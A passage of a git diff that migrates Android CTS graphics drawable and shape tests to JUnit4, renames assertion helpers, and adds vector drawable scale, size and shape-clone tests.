         for (int i = x; i < x + w; i++) {
             for (int j = y; j < y + h; j++) {
                 assertEquals(color, bmp.getPixel(i, j));
@@ -201,7 +216,7 @@
         }
     }
 
-    private void assertColorNotFillRect(Bitmap bmp, int x, int y, int w, int h, int color) {
+    private void verifyColorNotFillRect(Bitmap bmp, int x, int y, int w, int h, int color) {
         for (int i = x; i < x + w; i++) {
             for (int j = y; j < y + h; j++) {
                 assertTrue(color != bmp.getPixel(i, j));
@@ -212,25 +227,23 @@
     private void makeReverseTransitionInProgress(int duration, int delay) {
         mTransitionDrawable.resetTransition();
         mTransitionDrawable.startTransition(2000);
-        assertTransition(COLOR0, COLOR1, 2000);
+        verifyTransition(COLOR0, COLOR1, 2000);
         mTransitionDrawable.reverseTransition(duration);
-        assertTransitionStart(COLOR1);
-        assertTransitionInProgress(COLOR1, COLOR0, delay);
+        verifyTransitionStart(COLOR1);
+        verifyTransitionInProgress(COLOR1, COLOR0, delay);
     }
 
     private void makeTransitionInProgress(int duration, int delay) {
         mTransitionDrawable.resetTransition();
         mTransitionDrawable.startTransition(duration);
-        assertTransitionStart(COLOR0);
-        assertTransitionInProgress(COLOR0, COLOR1, delay);
+        verifyTransitionStart(COLOR0);
+        verifyTransitionInProgress(COLOR0, COLOR1, delay);
     }
 
     private void drawAfterDelaySync(long delay) {
-        Thread t = new Thread(new Runnable() {
-            public void run() {
-                mBitmap.eraseColor(0x00000000);
-                mTransitionDrawable.draw(mCanvas);
-            }
+        Thread t = new Thread(() -> {
+            mBitmap.eraseColor(Color.TRANSPARENT);
+            mTransitionDrawable.draw(mCanvas);
         });
         try {
             Thread.sleep(delay);
@@ -241,29 +254,4 @@
             fail(e.getMessage());
         }
     }
-
-    private class MockCallBack implements Drawable.Callback {
-        private boolean mHasCalledInvalidateDrawable;
-
-        public boolean hasCalledInvalidateDrawable() {
-            return mHasCalledInvalidateDrawable;
-        }
-        public void reset() {
-            mHasCalledInvalidateDrawable = false;
-        }
-
-        public void invalidateDrawable(Drawable who) {
-            mHasCalledInvalidateDrawable = true;
-        }
-
-        public void scheduleDrawable(Drawable who, Runnable what, long when) {
-        }
-
-        public void unscheduleDrawable(Drawable who, Runnable what) {
-        }
-
-        public int getResolvedLayoutDirection(Drawable who) {
-            return 0;
-        }
-    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableScaleTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableScaleTest.java
new file mode 100644
index 0000000..4e5fb15
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableScaleTest.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.drawable.cts;
+
+import android.app.Activity;
+import android.content.res.Resources;
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.graphics.Rect;
+import android.graphics.cts.R;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.view.PixelCopy;
+import android.widget.ImageView;
+
+import com.android.compatibility.common.util.SynchronousPixelCopy;
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+@MediumTest
+public class VectorDrawableScaleTest {
+    private static final boolean DBG_SCREENSHOT = false;
+    @Rule
+    public final ActivityTestRule<DrawableStubActivity> mActivityRule =
+            new ActivityTestRule<>(DrawableStubActivity.class);
+
+    private Activity mActivity = null;
+    private Resources mResources = null;
+
+    public VectorDrawableScaleTest() throws Throwable {
+    }
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+        mResources = mActivity.getResources();
+    }
+
+    @Test
+    public void testVectorDrawableInImageView() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mActivity.setContentView(R.layout.vector_drawable_scale_layout);
+        });
+
+        Bitmap screenShot = null;
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule,
+                mActivity.findViewById(R.id.scaletest),
+                () -> setupImageViews());
+        final Rect srcRect = new Rect();
+        mActivityRule.runOnUiThread(() -> {
+            mActivity.findViewById(R.id.imageview1).getGlobalVisibleRect(srcRect);
+        });
+
+        screenShot = takeScreenshot(srcRect);
+        if (DBG_SCREENSHOT) {
+            String outputFolder = mActivity.getExternalFilesDir(null).getAbsolutePath();
+            DrawableTestUtils.saveVectorDrawableIntoPNG(screenShot, outputFolder, "scale");
+        }
+
+        Bitmap golden = BitmapFactory.decodeResource(mResources,
+                R.drawable.vector_drawable_scale_golden);
+        DrawableTestUtils.compareImages("vectorDrawableScale", screenShot, golden,
+                DrawableTestUtils.PIXEL_ERROR_THRESHOLD,
+                DrawableTestUtils.PIXEL_ERROR_COUNT_THRESHOLD,
+                DrawableTestUtils.PIXEL_ERROR_TOLERANCE);
+    }
+
+    // Setup 2 imageviews, one big and one small. The purpose of this test is to make sure that the
+    // imageview with smaller scale will not affect the appearance in the imageview with larger
+    // scale.
+    private void setupImageViews() {
+        ImageView imageView = (ImageView) mActivity.findViewById(R.id.imageview1);
+        imageView.setImageResource(R.drawable.vector_icon_create);
+        imageView = (ImageView) mActivity.findViewById(R.id.imageview2);
+        imageView.setImageResource(R.drawable.vector_icon_create);
+    }
+
+    // Copy the source rectangle from the screen into the returned bitmap.
+    private Bitmap takeScreenshot(Rect srcRect) {
+        SynchronousPixelCopy copy = new SynchronousPixelCopy();
+        Bitmap dest = Bitmap.createBitmap(
+                srcRect.width(), srcRect.height(), Bitmap.Config.ARGB_8888);
+        int copyResult = copy.request(mActivity.getWindow(), srcRect, dest);
+        Assert.assertEquals(PixelCopy.SUCCESS, copyResult);
+        return dest;
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableSizeTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableSizeTest.java
new file mode 100644
index 0000000..defa8c6
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableSizeTest.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.drawable.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.Context;
+import android.content.res.Resources;
+import android.graphics.cts.R;
+import android.graphics.drawable.VectorDrawable;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.util.Arrays;
+
+@MediumTest
+@RunWith(Parameterized.class)
+public class VectorDrawableSizeTest {
+    private Context mContext = null;
+    private Resources mResources = null;
+    private int mResId;
+    private int mDpSize;
+
+    @Parameters ( name = "{0}" )
+    public static Iterable<Object[]> data() {
+        return Arrays.asList(new Object[][]{
+                {"size_1", R.drawable.vector_icon_size_1, 7},
+                {"size_2", R.drawable.vector_icon_size_2, 9}
+        });
+    }
+
+    public VectorDrawableSizeTest(String name, int resId, int dp) throws Throwable {
+        mResId = resId;
+        mDpSize = dp;
+    }
+
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mResources = mContext.getResources();
+
+    }
+
+    @Test
+    public void testVectorDrawableSize() throws Throwable {
+        // This test makes sure the size computation for VectorDrawable is using round, instead of
+        // rounding down.
+        final int densityDpi = mResources.getConfiguration().densityDpi;
+
+        VectorDrawable drawable = (VectorDrawable) mResources.getDrawable(mResId, null);
+        assertEquals(Math.round(mDpSize * densityDpi / 160f),  drawable.getIntrinsicWidth());
+        assertEquals(Math.round(mDpSize * densityDpi / 160f),  drawable.getIntrinsicHeight());
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableTest.java
index e2fe8c5..c09a139 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableTest.java
@@ -16,9 +16,10 @@
 
 package android.graphics.drawable.cts;
 
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
 
+import android.content.Context;
 import android.content.res.Resources;
 import android.content.res.Resources.Theme;
 import android.content.res.XmlResourceParser;
@@ -32,18 +33,27 @@
 import android.graphics.cts.R;
 import android.graphics.drawable.Drawable.ConstantState;
 import android.graphics.drawable.VectorDrawable;
-import android.test.AndroidTestCase;
-import android.test.suitebuilder.annotation.MediumTest;
-import android.test.suitebuilder.annotation.SmallTest;
+import android.support.annotation.Nullable;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Log;
 import android.util.Xml;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+
 import java.io.File;
 import java.io.FileOutputStream;
 import java.io.IOException;
 
-public class VectorDrawableTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class VectorDrawableTest {
     private static final String LOGTAG = "VectorDrawableTest";
 
     // Separate the test assets into different groups such that we could isolate the issue faster.
@@ -93,6 +103,8 @@
             R.drawable.vector_icon_stroke_3,
             R.drawable.vector_icon_scale_1,
             R.drawable.vector_icon_scale_2,
+            R.drawable.vector_icon_scale_3,
+            R.drawable.vector_icon_group_clip,
     };
 
     private static final int[] L_M_GOLDEN_IMAGES = new int[] {
@@ -109,6 +121,8 @@
             R.drawable.vector_icon_stroke_3_golden,
             R.drawable.vector_icon_scale_1_golden,
             R.drawable.vector_icon_scale_2_golden,
+            R.drawable.vector_icon_scale_3_golden,
+            R.drawable.vector_icon_group_clip_golden,
     };
 
     private static final int[] N_ICON_RES_IDS = new int[] {
@@ -158,9 +172,9 @@
                     R.drawable.vector_icon_state_list_2_golden
             },
             {
-                    R.drawable.vector_icon_state_list_golden_pressed,
-                    R.drawable.vector_icon_state_list_golden_pressed,
-                    R.drawable.vector_icon_state_list_2_golden_pressed
+                    R.drawable.vector_icon_state_list_pressed_golden,
+                    R.drawable.vector_icon_state_list_pressed_golden,
+                    R.drawable.vector_icon_state_list_2_pressed_golden
             }
     };
 
@@ -171,52 +185,46 @@
 
     private static final int IMAGE_WIDTH = 64;
     private static final int IMAGE_HEIGHT = 64;
-    // A small value is actually making sure that the values are matching
-    // exactly with the golden image.
-    // We can increase the threshold if the Skia is drawing with some variance
-    // on different devices. So far, the tests show they are matching correctly.
-    private static final float PIXEL_ERROR_THRESHOLD = 0.03f;
-    private static final float PIXEL_ERROR_COUNT_THRESHOLD = 0.005f;
-    private static final int PIXEL_ERROR_TOLERANCE = 3;
 
     private static final boolean DBG_DUMP_PNG = false;
 
     private Resources mResources;
     private Bitmap mBitmap;
     private Canvas mCanvas;
+    private Context mContext;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setup() {
         final int width = IMAGE_WIDTH;
         final int height = IMAGE_HEIGHT;
 
         mBitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
         mCanvas = new Canvas(mBitmap);
+        mContext = InstrumentationRegistry.getTargetContext();
         mResources = mContext.getResources();
     }
 
-    @MediumTest
+    @Test
     public void testBasicVectorDrawables() throws XmlPullParserException, IOException {
         verifyVectorDrawables(BASIC_ICON_RES_IDS, BASIC_GOLDEN_IMAGES, null);
     }
 
-    @MediumTest
+    @Test
     public void testLMVectorDrawables() throws XmlPullParserException, IOException {
         verifyVectorDrawables(L_M_ICON_RES_IDS, L_M_GOLDEN_IMAGES, null);
     }
 
-    @MediumTest
+    @Test
     public void testNVectorDrawables() throws XmlPullParserException, IOException {
         verifyVectorDrawables(N_ICON_RES_IDS, N_GOLDEN_IMAGES, null);
     }
 
-    @MediumTest
+    @Test
     public void testVectorDrawableGradient() throws XmlPullParserException, IOException {
         verifyVectorDrawables(GRADIENT_ICON_RES_IDS, GRADIENT_GOLDEN_IMAGES, null);
     }
 
-    @MediumTest
+    @Test
     public void testColorStateList() throws XmlPullParserException, IOException {
         for (int i = 0; i < STATEFUL_STATE_SETS.length; i++) {
             verifyVectorDrawables(
@@ -230,7 +238,6 @@
             VectorDrawable vectorDrawable = new VectorDrawable();
             vectorDrawable.setBounds(0, 0, IMAGE_WIDTH, IMAGE_HEIGHT);
 
-
             // Setup VectorDrawable from xml file and draw into the bitmap.
             XmlPullParser parser = mResources.getXml(resIds[i]);
             AttributeSet attrs = Xml.asAttributeSet(parser);
@@ -257,74 +264,39 @@
             vectorDrawable.draw(mCanvas);
 
             if (DBG_DUMP_PNG) {
-                saveVectorDrawableIntoPNG(mBitmap, resIds, i, stateSet);
+                String stateSetTitle = getTitleForStateSet(stateSet);
+                DrawableTestUtils.saveAutoNamedVectorDrawableIntoPNG(mContext, mBitmap, resIds[i],
+                        stateSetTitle);
             } else {
                 // Start to compare
                 Bitmap golden = BitmapFactory.decodeResource(mResources, goldenImages[i]);
                 DrawableTestUtils.compareImages(mResources.getString(resIds[i]), mBitmap, golden,
-                        VectorDrawableTest.PIXEL_ERROR_THRESHOLD,
-                        VectorDrawableTest.PIXEL_ERROR_COUNT_THRESHOLD,
-                        VectorDrawableTest.PIXEL_ERROR_TOLERANCE);
+                        DrawableTestUtils.PIXEL_ERROR_THRESHOLD,
+                        DrawableTestUtils.PIXEL_ERROR_COUNT_THRESHOLD,
+                        DrawableTestUtils.PIXEL_ERROR_TOLERANCE);
 
             }
         }
     }
 
-    // This is only for debugging or golden image (re)generation purpose.
-    private void saveVectorDrawableIntoPNG(Bitmap bitmap, int[] resIds, int index, int[] stateSet)
-            throws IOException {
-        // Save the image to the disk.
-        FileOutputStream out = null;
-        try {
-            String outputFolder = "/sdcard/temp/";
-            File folder = new File(outputFolder);
-            if (!folder.exists()) {
-                folder.mkdir();
-            }
-            String originalFilePath = mResources.getString(resIds[index]);
-            File originalFile = new File(originalFilePath);
-            String fileFullName = originalFile.getName();
-            String fileTitle = fileFullName.substring(0, fileFullName.lastIndexOf("."));
-            String stateSetTitle = getTitleForStateSet(stateSet);
-            String outputFilename = outputFolder + fileTitle + "_golden" + stateSetTitle + ".png";
-            File outputFile = new File(outputFilename);
-            if (!outputFile.exists()) {
-                outputFile.createNewFile();
-            }
-
-            out = new FileOutputStream(outputFile, false);
-            bitmap.compress(Bitmap.CompressFormat.PNG, 100, out);
-            Log.v(LOGTAG, "Write test No." + index + " to file successfully.");
-        } catch (Exception e) {
-            e.printStackTrace();
-        } finally {
-            if (out != null) {
-                out.close();
-            }
-        }
-    }
-
     /**
      * Generates an underline-delimited list of states in a given state set.
      * <p>
      * For example, the array {@code {R.attr.state_pressed}} would return
-     * {@code "_pressed"}.
+     * {@code "pressed"}.
      *
      * @param stateSet a state set
-     * @return a string representing the state set, or the empty string if the
-     *         state set is empty or {@code null}
+     * @return a string representing the state set, or {@code null} if the state set is empty or
+     * {@code null}
      */
-    private String getTitleForStateSet(int[] stateSet) {
+    private @Nullable String getTitleForStateSet(int[] stateSet) {
         if (stateSet == null || stateSet.length == 0) {
-            return "";
+            return null;
         }
 
-        final Resources res = getContext().getResources();
         final StringBuilder builder = new StringBuilder();
         for (int i = 0; i < stateSet.length; i++) {
-            builder.append('_');
-
-            final String state = res.getResourceName(stateSet[i]);
+            final String state = mResources.getResourceName(stateSet[i]);
             final int stateIndex = state.indexOf("state_");
             if (stateIndex >= 0) {
                 builder.append(state.substring(stateIndex + 6));
@@ -336,7 +308,7 @@
         return builder.toString();
     }
 
-    @SmallTest
+    @Test
     public void testGetChangingConfigurations() {
         VectorDrawable vectorDrawable = new VectorDrawable();
         ConstantState constantState = vectorDrawable.getConstantState();
@@ -360,7 +332,7 @@
         assertEquals(0xffff,  vectorDrawable.getChangingConfigurations());
     }
 
-    @SmallTest
+    @Test
     public void testGetConstantState() {
         VectorDrawable vectorDrawable = new VectorDrawable();
         ConstantState constantState = vectorDrawable.getConstantState();
@@ -373,40 +345,42 @@
         assertEquals(1, constantState.getChangingConfigurations());
     }
 
-    @SmallTest
+    @Test
     public void testMutate() {
-        Resources resources = mContext.getResources();
         // d1 and d2 will be mutated, while d3 will not.
-        VectorDrawable d1 = (VectorDrawable) resources.getDrawable(R.drawable.vector_icon_create);
-        VectorDrawable d2 = (VectorDrawable) resources.getDrawable(R.drawable.vector_icon_create);
-        VectorDrawable d3 = (VectorDrawable) resources.getDrawable(R.drawable.vector_icon_create);
-        int originalAlpha = d2.getAlpha();
+        VectorDrawable d1 = (VectorDrawable) mResources.getDrawable(R.drawable.vector_icon_create);
+        VectorDrawable d2 = (VectorDrawable) mResources.getDrawable(R.drawable.vector_icon_create);
+        VectorDrawable d3 = (VectorDrawable) mResources.getDrawable(R.drawable.vector_icon_create);
+        int restoreAlpha = d1.getAlpha();
 
-        d1.setAlpha(0x80);
-        assertEquals(0x80, d1.getAlpha());
-        assertEquals(0x80, d2.getAlpha());
-        assertEquals(0x80, d3.getAlpha());
+        try {
+            // verify bad behavior - modify before mutate pollutes other drawables
+            d1.setAlpha(0x80);
+            assertEquals(0x80, d1.getAlpha());
+            assertEquals(0x80, d2.getAlpha());
+            assertEquals(0x80, d3.getAlpha());
 
-        d1.mutate();
-        d1.setAlpha(0x40);
-        assertEquals(0x40, d1.getAlpha());
-        assertEquals(0x80, d2.getAlpha());
-        assertEquals(0x80, d3.getAlpha());
+            d1.mutate();
+            d1.setAlpha(0x40);
+            assertEquals(0x40, d1.getAlpha());
+            assertEquals(0x80, d2.getAlpha());
+            assertEquals(0x80, d3.getAlpha());
 
-        d2.setAlpha(0x00);
-        d2.mutate();
-        // Test that after mutating, the alpha value is copied over.
-        assertEquals(0x00, d2.getAlpha());
+            d2.setAlpha(0x00);
+            d2.mutate();
+            // Test that after mutating, the alpha value is copied over.
+            assertEquals(0x00, d2.getAlpha());
 
-        d2.setAlpha(0x20);
-        assertEquals(0x40, d1.getAlpha());
-        assertEquals(0x20, d2.getAlpha());
-        assertEquals(0x00, d3.getAlpha());
-
-        d3.setAlpha(originalAlpha);
+            d2.setAlpha(0x20);
+            assertEquals(0x40, d1.getAlpha());
+            assertEquals(0x20, d2.getAlpha());
+            assertEquals(0x00, d3.getAlpha());
+        } finally {
+            mResources.getDrawable(R.drawable.vector_icon_create).setAlpha(restoreAlpha);
+        }
     }
 
-    @SmallTest
+    @Test
     public void testColorFilter() {
         PorterDuffColorFilter filter = new PorterDuffColorFilter(Color.RED, Mode.SRC_IN);
         VectorDrawable vectorDrawable = new VectorDrawable();
@@ -415,18 +389,7 @@
         assertEquals(filter, vectorDrawable.getColorFilter());
     }
 
-    @SmallTest
-    public void testPreloadDensity() throws XmlPullParserException, IOException {
-        final Resources res = getContext().getResources();
-        final int densityDpi = res.getConfiguration().densityDpi;
-        try {
-            testPreloadDensityInner(res, densityDpi);
-        } finally {
-            DrawableTestUtils.setResourcesDensity(res, densityDpi);
-        }
-    }
-
-    @SmallTest
+    @Test
     public void testGetOpacity () throws XmlPullParserException, IOException {
         VectorDrawable vectorDrawable = new VectorDrawable();
 
@@ -440,7 +403,29 @@
                 vectorDrawable.getOpacity());
     }
 
-    private void testPreloadDensityInner(Resources res, int densityDpi)
+    @Test
+    public void testPreloadDensity() throws XmlPullParserException, IOException {
+        final int densityDpi = mResources.getConfiguration().densityDpi;
+        try {
+            DrawableTestUtils.setResourcesDensity(mResources, densityDpi);
+            verifyPreloadDensityInner(mResources, densityDpi);
+        } finally {
+            DrawableTestUtils.setResourcesDensity(mResources, densityDpi);
+        }
+    }
+
+    @Test
+    public void testPreloadDensity_tvdpi() throws XmlPullParserException, IOException {
+        final int densityDpi = mResources.getConfiguration().densityDpi;
+        try {
+            DrawableTestUtils.setResourcesDensity(mResources, 213);
+            verifyPreloadDensityInner(mResources, 213);
+        } finally {
+            DrawableTestUtils.setResourcesDensity(mResources, densityDpi);
+        }
+    }
+
+    private void verifyPreloadDensityInner(Resources res, int densityDpi)
             throws XmlPullParserException, IOException {
         // Capture initial state at default density.
         final XmlResourceParser parser = DrawableTestUtils.getResourceParser(
@@ -455,7 +440,9 @@
         DrawableTestUtils.setResourcesDensity(res, densityDpi / 2);
         final VectorDrawable halfDrawable =
                 (VectorDrawable) preloadedConstantState.newDrawable(res);
-        assertEquals(Math.round(origWidth / 2f), halfDrawable.getIntrinsicWidth());
+        // NOTE: densityDpi may not be an even number, so account for *actual* scaling in asserts
+        final float approxHalf = (float)(densityDpi / 2) / densityDpi;
+        assertEquals(Math.round(origWidth * approxHalf), halfDrawable.getIntrinsicWidth());
 
         // Set density to double original.
         DrawableTestUtils.setResourcesDensity(res, densityDpi * 2);
diff --git a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/ArcShapeTest.java b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/ArcShapeTest.java
index 78db7a9..d96aabb 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/ArcShapeTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/ArcShapeTest.java
@@ -16,7 +16,9 @@
 
 package android.graphics.drawable.shapes.cts;
 
-import junit.framework.TestCase;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
 
 import android.graphics.Bitmap;
 import android.graphics.Bitmap.Config;
@@ -25,10 +27,16 @@
 import android.graphics.Paint;
 import android.graphics.Paint.Style;
 import android.graphics.drawable.shapes.ArcShape;
-import android.test.suitebuilder.annotation.SmallTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class ArcShapeTest extends TestCase {
-    private static final int TEST_WIDTH  = 100;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ArcShapeTest {
+    private static final int TEST_WIDTH = 100;
     private static final int TEST_HEIGHT = 200;
 
     private static final int TEST_COLOR_1 = 0xFF00FF00;
@@ -36,7 +44,7 @@
 
     private static final int TOLERANCE = 4; // tolerance in pixels
 
-    @SmallTest
+    @Test
     public void testConstructor() {
         new ArcShape(1f, 5f);
 
@@ -45,7 +53,19 @@
         new ArcShape(-1f, -1f);
     }
 
-    @SmallTest
+    @Test
+    public void testGetSweepAngle() {
+        ArcShape shape = new ArcShape(100.0f, 360.0f);
+        assertEquals(360.0f, shape.getSweepAngle(), 0.0f);
+    }
+
+    @Test
+    public void testGetStartAngle() {
+        ArcShape shape = new ArcShape(100.0f, 360.0f);
+        assertEquals(100.0f, shape.getStartAngle(), 0.0f);
+    }
+
+    @Test
     public void testDraw() {
         // draw completely.
         ArcShape arcShape = new ArcShape(0.0f, 360.0f);
@@ -72,10 +92,10 @@
                 count += 1;
             }
         }
-        assertEquals((double)SQUARE / 2 / Math.sqrt(2), count, TOLERANCE);
+        assertEquals((double) SQUARE / 2 / Math.sqrt(2), count, TOLERANCE);
     }
 
-    @SmallTest
+    @Test
     public void testGetOutline() {
         Outline outline = new Outline();
         ArcShape shape;
@@ -86,4 +106,13 @@
         shape.getOutline(outline);
         assertTrue(outline.isEmpty());
     }
+
+    @Test
+    public void testClone() throws Exception {
+        ArcShape shape = new ArcShape(0.0f, 360.0f);
+        ArcShape clone = shape.clone();
+        assertNotNull(clone);
+        assertEquals(0.0f, clone.getStartAngle(), 0.0f);
+        assertEquals(360.0f, clone.getSweepAngle(), 0.0f);
+    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/OvalShapeTest.java b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/OvalShapeTest.java
index 6ecf37a..a83251e 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/OvalShapeTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/OvalShapeTest.java
@@ -16,7 +16,10 @@
 
 package android.graphics.drawable.shapes.cts;
 
-import junit.framework.TestCase;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
 
 import android.graphics.Bitmap;
 import android.graphics.Bitmap.Config;
@@ -26,9 +29,15 @@
 import android.graphics.Paint.Style;
 import android.graphics.Rect;
 import android.graphics.drawable.shapes.OvalShape;
-import android.test.suitebuilder.annotation.SmallTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class OvalShapeTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class OvalShapeTest {
     private static final int TEST_WIDTH  = 100;
     private static final int TEST_HEIGHT = 200;
 
@@ -37,10 +46,12 @@
 
     private static final int TOLERANCE = 4; // tolerance in pixels
 
+    @Test
     public void testConstructor() {
         new OvalShape();
     }
 
+    @Test
     public void testDraw() {
         OvalShape ovalShape = new OvalShape();
         Bitmap bitmap = Bitmap.createBitmap(TEST_WIDTH, TEST_HEIGHT, Config.ARGB_8888);
@@ -68,7 +79,7 @@
         assertEquals((double)SQUARE / Math.sqrt(2), count, TOLERANCE);
     }
 
-    @SmallTest
+    @Test
     public void testGetOutline() {
         Outline outline = new Outline();
         Rect rect = new Rect();
@@ -99,4 +110,15 @@
         assertTrue(outline.getRadius() < 0);
         assertFalse(outline.getRect(rect));
     }
+
+    @Test
+    public void testClone() throws Exception {
+        OvalShape shape = new OvalShape();
+        shape.resize(100, 100);
+
+        OvalShape clone = shape.clone();
+        assertNotNull(clone);
+        assertEquals(shape.getWidth(), clone.getWidth(), 0.0f);
+        assertEquals(shape.getHeight(), clone.getHeight(), 0.0f);
+    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/PathShapeTest.java b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/PathShapeTest.java
index b833d61..b7335e3 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/PathShapeTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/PathShapeTest.java
@@ -16,7 +16,9 @@
 
 package android.graphics.drawable.shapes.cts;
 
-import junit.framework.TestCase;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertTrue;
 
 import android.graphics.Bitmap;
 import android.graphics.Bitmap.Config;
@@ -26,15 +28,21 @@
 import android.graphics.Paint.Style;
 import android.graphics.Path;
 import android.graphics.drawable.shapes.PathShape;
-import android.test.suitebuilder.annotation.SmallTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class PathShapeTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PathShapeTest {
     private static final int TEST_COLOR_1 = 0xFF00FF00;
     private static final int TEST_COLOR_2 = 0xFFFF0000;
 
     private static final int TOLERANCE = 4;
 
-    @SmallTest
+    @Test
     public void testConstructor() {
         new PathShape(new Path(), 1f, 5f);
 
@@ -43,7 +51,7 @@
         new PathShape(null, 0f, 0f);
     }
 
-    @SmallTest
+    @Test
     public void testDraw() {
         final int SHAPE_SIZE = 200;
 
@@ -90,20 +98,20 @@
         assertEquals(25, diagonal, TOLERANCE);
     }
 
-    @SmallTest
+    @Test
     public void testClone() throws CloneNotSupportedException {
         PathShape pathShape = new PathShape(new Path(), 1f, 5f);
         pathShape.resize(100f, 200f);
         PathShape clonedShape = pathShape.clone();
-        assertEquals(100f, pathShape.getWidth());
-        assertEquals(200f, pathShape.getHeight());
+        assertEquals(100f, pathShape.getWidth(), 0.0f);
+        assertEquals(200f, pathShape.getHeight(), 0.0f);
 
         assertNotSame(pathShape, clonedShape);
-        assertEquals(pathShape.getWidth(), clonedShape.getWidth());
-        assertEquals(pathShape.getHeight(), clonedShape.getHeight());
+        assertEquals(pathShape.getWidth(), clonedShape.getWidth(), 0.0f);
+        assertEquals(pathShape.getHeight(), clonedShape.getHeight(), 0.0f);
     }
 
-    @SmallTest
+    @Test
     public void testGetOutline() {
         Outline outline = new Outline();
         PathShape shape;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/RectShapeTest.java b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/RectShapeTest.java
index 136770b..4cd6e15 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/RectShapeTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/RectShapeTest.java
@@ -16,7 +16,10 @@
 
 package android.graphics.drawable.shapes.cts;
 
-import junit.framework.TestCase;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
